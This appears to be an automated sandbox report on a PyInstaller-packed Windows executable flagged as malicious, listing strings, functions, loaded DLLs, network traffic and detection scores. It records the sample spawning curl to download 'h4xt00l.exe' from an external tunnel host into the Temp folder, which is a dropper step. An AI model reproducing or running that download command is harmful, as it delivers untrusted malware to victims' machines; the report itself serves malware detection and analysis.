libcrypto-3.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, python312.dll.0.dr, unicodedata.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.1.dr	String found in binary or memory: http://upx.sf.net
Source: aLsxeH29P2.exe, 00000000.00000003.1718939260.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714677193.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714279446.0000021C0757F000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1717564560.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714799794.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C07587000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714403552.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1719100028.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C0758D000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714561302.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-3.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, python312.dll.0.dr, unicodedata.pyd.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: aLsxeH29P2.exe, 00000001.00000002.2973738062.0000019FB0E8C000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	String found in binary or memory: https://docs.python.org/3/howto/mro.html.
Source: aLsxeH29P2.exe, 00000001.00000002.2973738062.0000019FB0E10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
Source: aLsxeH29P2.exe, 00000001.00000002.2973738062.0000019FB0E8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: aLsxeH29P2.exe, 00000001.00000002.2973738062.0000019FB0E8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: aLsxeH29P2.exe, 00000001.00000002.2973738062.0000019FB0E8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: aLsxeH29P2.exe, 00000001.00000002.2973738062.0000019FB0E10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: aLsxeH29P2.exe, 00000001.00000002.2974046958.0000019FB11F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: aLsxeH29P2.exe, 00000001.00000002.2974046958.0000019FB11F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: aLsxeH29P2.exe, 00000001.00000002.2973738062.0000019FB0E8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: aLsxeH29P2.exe, 00000001.00000002.2973425589.0000019FAF521000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: curl.exe, 00000002.00000003.1744460082.000001AFC635E000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000003.1744252579.000001AFC63BC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000003.1744436719.000001AFC637B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000003.1744193429.000001AFC63BC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000002.1744803181.000001AFC6360000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000003.1744315682.000001AFC63BC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000003.1744492924.000001AFC637B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000003.1744564320.000001AFC637B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000002.1744803181.000001AFC637C000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000003.1744365340.000001AFC637B000.00000004.00000020.00020000.00000000.sdmp, h4xt00l.exe.2.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Nunito:700
Source: aLsxeH29P2.exe, 00000001.00000002.2973425589.0000019FAF521000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: aLsxeH29P2.exe, 00000001.00000002.2973738062.0000019FB0E10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: aLsxeH29P2.exe, 00000001.00000002.2973425589.0000019FAF521000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: aLsxeH29P2.exe, 00000001.00000002.2973425589.0000019FAF521000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: aLsxeH29P2.exe, 00000001.00000002.2973425589.0000019FAF521000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: curl.exe, 00000002.00000002.1744746751.000001AFC6340000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000003.1744436719.000001AFC637B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000003.1744492924.000001AFC637B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000003.1744564320.000001AFC637B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000002.1744803181.000001AFC637C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://haxerr.eu.loclx.io/h4xt00l.exe
Source: curl.exe, 00000002.00000002.1744746751.000001AFC6349000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://haxerr.eu.loclx.io/h4xt00l.exe--outputC:
Source: curl.exe, 00000002.00000003.1744436719.000001AFC637B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000003.1744492924.000001AFC637B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000003.1744564320.000001AFC637B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000002.1744803181.000001AFC637C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://haxerr.eu.loclx.io/h4xt00l.exe?
Source: curl.exe, 00000002.00000003.1744436719.000001AFC637B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000003.1744492924.000001AFC637B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000003.1744564320.000001AFC637B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000002.1744803181.000001AFC637C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://haxerr.eu.loclx.io/h4xt00l.exeQ
Source: aLsxeH29P2.exe, 00000001.00000002.2974046958.0000019FB11F0000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	String found in binary or memory: https://peps.python.org/pep-0205/
Source: aLsxeH29P2.exe, 00000001.00000002.2975033574.00007FFDFB5F2000.00000002.00000001.01000000.00000004.sdmp, python312.dll.0.dr	String found in binary or memory: https://peps.python.org/pep-0263/
Source: libcrypto-3.dll.0.dr	String found in binary or memory: https://www.openssl.org/H
Source: aLsxeH29P2.exe, 00000001.00000002.2975354634.00007FFDFB768000.00000008.00000001.01000000.00000004.sdmp, python312.dll.0.dr	String found in binary or memory: https://www.python.org/psf/license/
Source: aLsxeH29P2.exe, 00000001.00000002.2975033574.00007FFDFB5F2000.00000002.00000001.01000000.00000004.sdmp, python312.dll.0.dr	String found in binary or memory: https://www.python.org/psf/license/)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443

Source: unknown

HTTPS traffic detected: 167.99.38.229:443 -> 192.168.2.4:49732 version: TLS 1.2

Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DD89E0	0_2_00007FF7F3DD89E0
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DF6964	0_2_00007FF7F3DF6964
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DF08C8	0_2_00007FF7F3DF08C8
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DD1000	0_2_00007FF7F3DD1000
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DDACAD	0_2_00007FF7F3DDACAD
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DDA47B	0_2_00007FF7F3DDA47B
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DF08C8	0_2_00007FF7F3DF08C8
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DF6418	0_2_00007FF7F3DF6418
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DF5C00	0_2_00007FF7F3DF5C00
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DE2C10	0_2_00007FF7F3DE2C10
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DF3C10	0_2_00007FF7F3DF3C10
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DE1B50	0_2_00007FF7F3DE1B50
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DDA2DB	0_2_00007FF7F3DDA2DB
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DEDA5C	0_2_00007FF7F3DEDA5C
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DE39A4	0_2_00007FF7F3DE39A4
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DE2164	0_2_00007FF7F3DE2164
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DE1944	0_2_00007FF7F3DE1944
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DE80E4	0_2_00007FF7F3DE80E4
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DF40AC	0_2_00007FF7F3DF40AC
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DF1874	0_2_00007FF7F3DF1874
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DD9800	0_2_00007FF7F3DD9800
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DE8794	0_2_00007FF7F3DE8794
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DE1F60	0_2_00007FF7F3DE1F60
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DE1740	0_2_00007FF7F3DE1740
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DF9728	0_2_00007FF7F3DF9728
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DEDEF0	0_2_00007FF7F3DEDEF0
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DE9EA0	0_2_00007FF7F3DE9EA0
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DF5E7C	0_2_00007FF7F3DF5E7C
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DE35A0	0_2_00007FF7F3DE35A0
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DEE570	0_2_00007FF7F3DEE570
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DE1D54	0_2_00007FF7F3DE1D54
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DE5D30	0_2_00007FF7F3DE5D30
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DF6964	1_2_00007FF7F3DF6964
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DD1000	1_2_00007FF7F3DD1000
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DDACAD	1_2_00007FF7F3DDACAD
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DDA47B	1_2_00007FF7F3DDA47B
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DF08C8	1_2_00007FF7F3DF08C8
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DF6418	1_2_00007FF7F3DF6418
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DF5C00	1_2_00007FF7F3DF5C00
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DE2C10	1_2_00007FF7F3DE2C10
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DF3C10	1_2_00007FF7F3DF3C10
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DE1B50	1_2_00007FF7F3DE1B50
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DDA2DB	1_2_00007FF7F3DDA2DB
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DEDA5C	1_2_00007FF7F3DEDA5C
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DD89E0	1_2_00007FF7F3DD89E0
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DE39A4	1_2_00007FF7F3DE39A4
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DE2164	1_2_00007FF7F3DE2164
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DE1944	1_2_00007FF7F3DE1944
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DE80E4	1_2_00007FF7F3DE80E4
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DF08C8	1_2_00007FF7F3DF08C8
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DF40AC	1_2_00007FF7F3DF40AC
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DF1874	1_2_00007FF7F3DF1874
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DD9800	1_2_00007FF7F3DD9800
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DE8794	1_2_00007FF7F3DE8794
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DE1F60	1_2_00007FF7F3DE1F60
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DE1740	1_2_00007FF7F3DE1740
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DF9728	1_2_00007FF7F3DF9728
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DEDEF0	1_2_00007FF7F3DEDEF0
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DE9EA0	1_2_00007FF7F3DE9EA0
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DF5E7C	1_2_00007FF7F3DF5E7C
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DE35A0	1_2_00007FF7F3DE35A0
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DEE570	1_2_00007FF7F3DEE570
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DE1D54	1_2_00007FF7F3DE1D54
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DE5D30	1_2_00007FF7F3DE5D30
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FFE126C7CA0	1_2_00007FFE126C7CA0

Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: String function: 00007FF7F3DD2710 appears 104 times
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: String function: 00007FF7F3DD2910 appears 34 times

Source: unicodedata.pyd.0.dr

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: aLsxeH29P2.exe, 00000000.00000003.1718939260.0000021C07580000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs aLsxeH29P2.exe
Source: aLsxeH29P2.exe, 00000000.00000003.1714677193.0000021C07580000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs aLsxeH29P2.exe
Source: aLsxeH29P2.exe, 00000000.00000003.1714279446.0000021C0757F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs aLsxeH29P2.exe
Source: aLsxeH29P2.exe, 00000000.00000003.1714799794.0000021C07580000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs aLsxeH29P2.exe
Source: aLsxeH29P2.exe, 00000000.00000003.1714112999.0000021C0757E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs aLsxeH29P2.exe
Source: aLsxeH29P2.exe, 00000000.00000003.1714403552.0000021C07580000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs aLsxeH29P2.exe
Source: aLsxeH29P2.exe, 00000000.00000003.1719100028.0000021C07580000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs aLsxeH29P2.exe
Source: aLsxeH29P2.exe, 00000000.00000003.1714561302.0000021C07580000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs aLsxeH29P2.exe
Source: aLsxeH29P2.exe	Binary or memory string: OriginalFilename vs aLsxeH29P2.exe
Source: aLsxeH29P2.exe, 00000001.00000002.2975586760.00007FFDFB891000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamepython312.dll. vs aLsxeH29P2.exe
Source: aLsxeH29P2.exe, 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs aLsxeH29P2.exe

Source: classification engine

Classification label: mal60.winEXE@7/14@1/2

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7392:120:WilError_03

Source: C:\Users\user\Desktop\aLsxeH29P2.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI73522

Jump to behavior

Source: aLsxeH29P2.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\aLsxeH29P2.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: aLsxeH29P2.exe	Virustotal: Detection: 50%
Source: aLsxeH29P2.exe	ReversingLabs: Detection: 36%

Source: C:\Users\user\Desktop\aLsxeH29P2.exe

File read: C:\Users\user\Desktop\aLsxeH29P2.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\aLsxeH29P2.exe "C:\Users\user\Desktop\aLsxeH29P2.exe"
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Process created: C:\Users\user\Desktop\aLsxeH29P2.exe "C:\Users\user\Desktop\aLsxeH29P2.exe"
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Process created: C:\Windows\System32\curl.exe curl https://haxerr.eu.loclx.io/h4xt00l.exe --output C:\Users\user\AppData\Local\Temp\h4xt00l.exe
Source: C:\Windows\System32\curl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Process created: C:\Users\user\Desktop\aLsxeH29P2.exe "C:\Users\user\Desktop\aLsxeH29P2.exe"	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Process created: C:\Windows\System32\curl.exe curl https://haxerr.eu.loclx.io/h4xt00l.exe --output C:\Users\user\AppData\Local\Temp\h4xt00l.exe	Jump to behavior

Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: aLsxeH29P2.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: aLsxeH29P2.exe

Static file information: File size 7178619 > 1048576

Source: aLsxeH29P2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: aLsxeH29P2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: aLsxeH29P2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: aLsxeH29P2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: aLsxeH29P2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: aLsxeH29P2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: aLsxeH29P2.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: aLsxeH29P2.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: aLsxeH29P2.exe, 00000000.00000003.1718939260.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: aLsxeH29P2.exe, 00000001.00000002.2975033574.00007FFDFB5F2000.00000002.00000001.01000000.00000004.sdmp, python312.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: aLsxeH29P2.exe, 00000000.00000003.1719100028.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, unicodedata.pyd.0.dr
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: libcrypto-3.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: aLsxeH29P2.exe, 00000000.00000003.1714561302.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, _hashlib.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_decimal.pdb$$ source: _decimal.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: aLsxeH29P2.exe, 00000000.00000003.1714677193.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, _lzma.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_decimal.pdb source: _decimal.pyd.0.dr
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion 